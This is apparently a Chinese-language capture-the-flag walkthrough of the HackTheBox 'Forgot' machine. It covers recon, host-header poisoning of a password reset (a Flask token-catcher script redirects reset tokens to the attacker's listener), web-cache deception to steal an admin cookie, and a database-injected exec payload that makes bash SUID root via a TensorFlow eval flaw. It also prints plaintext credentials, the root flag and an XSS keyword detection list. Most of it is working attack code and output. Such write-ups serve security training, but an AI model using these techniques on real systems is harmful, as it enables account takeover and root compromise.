一、信息收集
TARGET=10.129.215.216 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 Werkzeug/2.1.2 Python/3.8.10
|_http-title: Login
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Thu, 12 Jan 2023 03:11:24 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| X-Varnish: 32790
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Thu, 12 Jan 2023 03:11:17 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 219
| Location: http://127.0.0.1
| X-Varnish: 32785
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://127.0.0.1">http://127.0.0.1</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Thu, 12 Jan 2023 03:11:18 GMT
| Content-Type: text/html; charset=utf-8
| Allow: OPTIONS, HEAD, GET
| Content-Length: 0
| X-Varnish: 24
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Accept-Ranges: bytes
| Connection: close
| RTSPRequest, SIPOptions:
|_ HTTP/1.1 400 Bad Request
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=1/11%Time=63BF7A55%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1E2,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.1\.2\x2
SF:0Python/3\.8\.10\r\nDate:\x20Thu,\x2012\x20Jan\x202023\x2003:11:17\x20G
SF:MT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
SF:20219\r\nLocation:\x20http://127\.0\.0\.1\r\nX-Varnish:\x2032785\r\nAge
SF::\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nConnection:\x2
SF:0close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>Redirecting
SF:\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x20be\x20r
SF:edirected\x20automatically\x20to\x20the\x20target\x20URL:\x20<a\x20href
SF:=\"http://127\.0\.0\.1\">http://127\.0\.0\.1</a>\.\x20If\x20not,\x20cli
SF:ck\x20the\x20link\.\n")%r(HTTPOptions,114,"HTTP/1\.1\x20200\x20OK\r\nSe
SF:rver:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.10\r\nDate:\x20Thu,\x2012\x20
SF:Jan\x202023\x2003:11:18\x20GMT\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x20GET\r\nContent-Length:\x200\r
SF:\nX-Varnish:\x2024\r\nAge:\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish
SF:/6\.2\)\r\nAccept-Ranges:\x20bytes\r\nConnection:\x20close\r\n\r\n")%r(
SF:RTSPRequest,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(FourOhFo
SF:urRequest,1BE,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/
SF:2\.1\.2\x20Python/3\.8\.10\r\nDate:\x20Thu,\x2012\x20Jan\x202023\x2003:
SF:11:24\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent
SF:-Length:\x20207\r\nX-Varnish:\x2032790\r\nAge:\x200\r\nVia:\x201\.1\x20
SF:varnish\x20\(Varnish/6\.2\)\r\nConnection:\x20close\r\n\r\n<!doctype\x2
SF:0html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\
SF:x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\
SF:x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x2
SF:0please\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r
SF:(SIPOptions,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 11 22:13:43 2023 -- 1 IP address (1 host up) scanned in 152.89 seconds
目录扫描
┌──(root㉿kali)-[/home/kali/Desktop/HTB/Forgot]
└─# feroxbuster -u http://10.129.215.216 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.215.216
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 246l 484w 5186c http://10.129.215.216/
302 GET 5l 22w 189c http://10.129.215.216/home => http://10.129.215.216/
200 GET 246l 484w 5189c http://10.129.215.216/login
302 GET 5l 22w 189c http://10.129.215.216/tickets => http://10.129.215.216/
200 GET 253l 498w 5227c http://10.129.215.216/forgot
200 GET 261l 517w 5523c http://10.129.215.216/reset
二、渗透测试
源代码中发现了
<!-- Q1 release fix by robert-dev-36792 -->
抓包看看
GET /forgot?username=robert-dev-10045 HTTP/1.1
Host: 10.129.215.216
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.129.215.216/forgot
Cookie: __hstc=159460194.a41b32e1a1ee615a98bb171d04070916.1673494413960.1673494413960.1673494413960.1; hubspotutk=a41b32e1a1ee615a98bb171d04070916; __hssrc=1; __hssc=159460194.7.1673494413960
密码重置页面需要token
POST /reset? HTTP/1.1
Host: 10.129.215.216
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Origin: http://10.129.215.216
Connection: close
Referer: http://10.129.215.216/reset
Cookie: __hstc=159460194.a41b32e1a1ee615a98bb171d04070916.1673494413960.1673494413960.1673494413960.1; hubspotutk=a41b32e1a1ee615a98bb171d04070916; __hssrc=1; __hssc=159460194.7.1673494413960
password=admin
本地监听,尝试获取token
然后就简单了,带上token reset
密码重置成功,登陆
robert-dev-10045 : admin
存在admin用户
但是admin的密码不可以被重置
发现一个页面
直接访问,提示权限不足
过了一会儿,这个密码掉了。。好像过段时间就会掉。。。
一直在纠结如何登陆管理员用户,在论坛上找到了答案
https://breached.vc/Thread-Forgot-HTB-Discussion?page=8
大致利用思路就是,我们提交一个工单,里面写上一个不存在的地址,提交上去之后,管理员会点击这个不存在的页面,此时我们再去访问,就会发现这个页面有管理员的cookie信息
import netifaces as ni, logging, requests
from flask import Flask, request
import urllib.parse
app = Flask(__name__)
tun_ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr'] # if you have multiple vpn connection replace this variable with you HTB IP address
port = 9980
password = "qwerty" # You can pick any password you want
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
@app.route("/reset")
def reset():
try:
token = urllib.parse.quote(request.args.get('token'))
print(f"Token: {token}")
data = {"password":f"{password}", "cpassword":f"{password}"}
reset_pwd = requests.post(f"http://10.129.215.216/reset?token={token}", data=data)
if 'Success' in reset_pwd.text:
print(f"Successfully changed password to: {data['password']}")
else:
print(f"Invalid Token")
except:
pass
return "Done"
if __name__ == "__main__":
app.run(host=tun_ip, port=port, debug=True)
密码重置
curl -X "GET" -H "Host: 10.10.14.14:9980" \
http://10.129.215.216/forgot?username=robert-dev-10045
登陆获取cookie
curl -s -o /dev/null -v -d "username=robert-dev-10045&password=qwerty" \
-X POST http://10.129.215.216/login
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ curl -s -o /dev/null -v -d "username=robert-dev-10045&password=qwerty" \
-X POST http://10.129.215.216/login
* Trying 10.129.215.216:80...
* Connected to 10.129.215.216 (10.129.215.216) port 80 (#0)
> POST /login HTTP/1.1
> Host: 10.129.215.216
> User-Agent: curl/7.86.0
> Accept: */*
> Content-Length: 41
> Content-Type: application/x-www-form-urlencoded
>
} [41 bytes data]
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.1.2 Python/3.8.10
< Date: Thu, 12 Jan 2023 09:15:20 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 46
< Set-Cookie: session=7348ceab-d73e-415e-bdd5-cb29e8846471; HttpOnly; Path=/
< X-Varnish: 2590090
< Age: 0
< Via: 1.1 varnish (Varnish/6.2)
< Accept-Ranges: bytes
< Connection: keep-alive
<
{ [46 bytes data]
* Connection #0 to host 10.129.215.216 left intact
提交工单
curl -i -d "to=Admin&link=http://10.129.215.216/static/directory.png" \
-H "Cookie: session=7348ceab-d73e-415e-bdd5-cb29e8846471;" \
-X POST http://10.129.215.216/escalate
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ curl -i -d "to=Admin&link=http://10.129.215.216/static/directory.png" \
-H "Cookie: session=7348ceab-d73e-415e-bdd5-cb29e8846471;" \
-X POST http://10.129.215.216/escalate
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Thu, 12 Jan 2023 09:16:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 61
Set-Cookie: session=7348ceab-d73e-415e-bdd5-cb29e8846471; HttpOnly; Path=/
X-Varnish: 34520
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Accept-Ranges: bytes
Connection: keep-alive
Escalation form submitted to Admin and will be reviewed soon!
等2分钟,获取admin的session
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ curl -I http://10.129.215.216/static/directory.png
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Thu, 12 Jan 2023 09:17:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Set-Cookie: session=72c4be7e-82a2-4a41-a504-8119fccfd335; HttpOnly; Path=/
cache-control: public, max-age=240
X-Varnish: 34535 1803660
Age: 95
Via: 1.1 varnish (Varnish/6.2)
Connection: keep-alive
使用admin账户访问admin_tickets
┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ curl -I -H "cookie: session=72c4be7e-82a2-4a41-a504-8119fccfd335" http://10.129.215.216/admin_tickets
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Thu, 12 Jan 2023 09:19:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6923
Set-Cookie: session=72c4be7e-82a2-4a41-a504-8119fccfd335; HttpOnly; Path=/
X-Varnish: 34540
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Accept-Ranges: bytes
Connection: keep-alive
说明这个cookie可以使用
得到用户名和密码
diego:dCb#1!x0%gjq
ssh diego@10.129.215.216
三、提权
diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User diego may run the following commands on forgot:
(ALL) NOPASSWD: /opt/security/ml_security.py
diego@forgot:~$ cat /opt/security/ml_security.py
#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string
np.random.seed(42)
f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'
# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")
# Create a function to convert an array of strings to a set of features
def getVec(text):
features = []
for i, line in enumerate(text):
test_data = word_tokenize(line.lower())
v1 = model.infer_vector(test_data)
featureVec = v1
lineDecode = unquote(line)
lowerStr = str(lineDecode).lower()
feature1 = int(lowerStr.count('link'))
feature1 += int(lowerStr.count('object'))
feature1 += int(lowerStr.count('form'))
feature1 += int(lowerStr.count('embed'))
feature1 += int(lowerStr.count('ilayer'))
feature1 += int(lowerStr.count('layer'))
feature1 += int(lowerStr.count('style'))
feature1 += int(lowerStr.count('applet'))
feature1 += int(lowerStr.count('meta'))
feature1 += int(lowerStr.count('img'))
feature1 += int(lowerStr.count('iframe'))
feature1 += int(lowerStr.count('marquee'))
# add feature for malicious method count
feature2 = int(lowerStr.count('exec'))
feature2 += int(lowerStr.count('fromcharcode'))
feature2 += int(lowerStr.count('eval'))
feature2 += int(lowerStr.count('alert'))
feature2 += int(lowerStr.count('getelementsbytagname'))
feature2 += int(lowerStr.count('write'))
feature2 += int(lowerStr.count('unescape'))
feature2 += int(lowerStr.count('escape'))
feature2 += int(lowerStr.count('prompt'))
feature2 += int(lowerStr.count('onload'))
feature2 += int(lowerStr.count('onclick'))
feature2 += int(lowerStr.count('onerror'))
feature2 += int(lowerStr.count('onpage'))
feature2 += int(lowerStr.count('confirm'))
# add feature for ".js" count
feature3 = int(lowerStr.count('.js'))
# add feature for "javascript" count
feature4 = int(lowerStr.count('javascript'))
# add feature for length of the string
feature5 = int(len(lowerStr))
# add feature for "<script" count
feature6 = int(lowerStr.count('script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('%3cscript'))
feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
# add feature for special character count
feature7 = int(lowerStr.count('&'))
feature7 += int(lowerStr.count('<'))
feature7 += int(lowerStr.count('>'))
feature7 += int(lowerStr.count('"'))
feature7 += int(lowerStr.count('\''))
feature7 += int(lowerStr.count('/'))
feature7 += int(lowerStr.count('%'))
feature7 += int(lowerStr.count('*'))
feature7 += int(lowerStr.count(';'))
feature7 += int(lowerStr.count('+'))
feature7 += int(lowerStr.count('='))
feature7 += int(lowerStr.count('%3C'))
# add feature for http count
feature8 = int(lowerStr.count('http'))
# append the features
featureVec = np.append(featureVec,feature1)
featureVec = np.append(featureVec,feature2)
featureVec = np.append(featureVec,feature3)
featureVec = np.append(featureVec,feature4)
featureVec = np.append(featureVec,feature5)
featureVec = np.append(featureVec,feature6)
featureVec = np.append(featureVec,feature7)
featureVec = np.append(featureVec,feature8)
features.append(featureVec)
return features
# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
conn.close()
data=[]
for i in r:
data.append(i)
Xnew = getVec(data)
#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)
# show the sample inputs and predicted outputs
def assessData(i):
score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
try:
preprocess_input_exprs_arg_string(data[i],safe=False)
except:
pass
for i in range(len(Xnew)):
t = threading.Thread(target=assessData, args=(i,))
# t.daemon = True
t.start()
diego@forgot:~$
preprocess_input_exprs_arg_string 使用了这个函数
https://github.com/advisories/GHSA-75c9-jrh4-79mc
应该是个和xss相关的
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
data=[]
for i in r:
data.append(i)
Xnew = getVec(data)
如果检测到的恶意模式数量超过阈值,则执行恶意函数
score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
try:
preprocess_input_exprs_arg_string(data[i],safe=False)
except:
pass
diego@forgot:~$ cat bot.py
#!/usr/bin/python3
import os
import mysql.connector
import requests
import netifaces as ni
# Fetch Links
conn = mysql.connector.connect(host="localhost",database="app",user="diego",password="dCb#1!x0%gjq")
cursor = conn.cursor()
cursor.execute('select * from forgot')
r = cursor.fetchall()
# Open reset links
for i in r:
try:
requests.get(i[1],timeout=10)
except:
pass
# Open tickets as admin
cursor.execute('select * from escalate')
r = cursor.fetchall()
tun_ip = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
d = requests.post(f'http://{tun_ip}/login',data={'username':'admin','password':'dCvbgFh345_368352c@!'})
cookie = d.headers['Set-Cookie'].split('=')[1].split(';')[0]
for i in r:
try:
print(i[2])
requests.get(i[2],cookies={'session':cookie})
requests.get(i[2],cookies={'session':cookie})
requests.get(i[2],cookies={'session':cookie})
cursor.execute('delete from escalate where link=%s',(i[2],))
conn.commit()
except:
pass
conn.close()
diego@forgot:~$
bot.py里面发现密码
因此,我们可以在reason字段中使用恶意内容覆盖db,并运行脚本来执行我们的有效负载。
通过bot.py中的db凭证,我们可以登录到数据库。
diego@forgot:~$ mysql -D app -udiego -p
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1096
Server version: 8.0.31-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> insert into escalate values ("1","1","1",'test=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")');
Query OK, 1 row affected (0.01 sec)
mysql> exit
Bye
diego@forgot:~$ sudo /opt/security/ml_security.py
2023-01-12 09:36:12.183901: W tensorflow/stream_executor/platform/default/dso_loader.cc:64] Could not load dynamic library 'libcudart.so.11.0'; dlerror: libcudart.so.11.0: cannot open shared object file: No such file or directory
2023-01-12 09:36:12.184118: I tensorflow/stream_executor/cuda/cudart_stub.cc:29] Ignore above cudart dlerror if you do not have a GPU set up on your machine.
diego@forgot:~$ /usr/bin/bash -p
bash-5.0# id
uid=1000(diego) gid=1000(diego) euid=0(root) egid=0(root) groups=0(root),1000(diego)
bash-5.0# cat /root/root.txt
bd06e75dba92f3301935d3e6d6cd40bc
bash-5.0#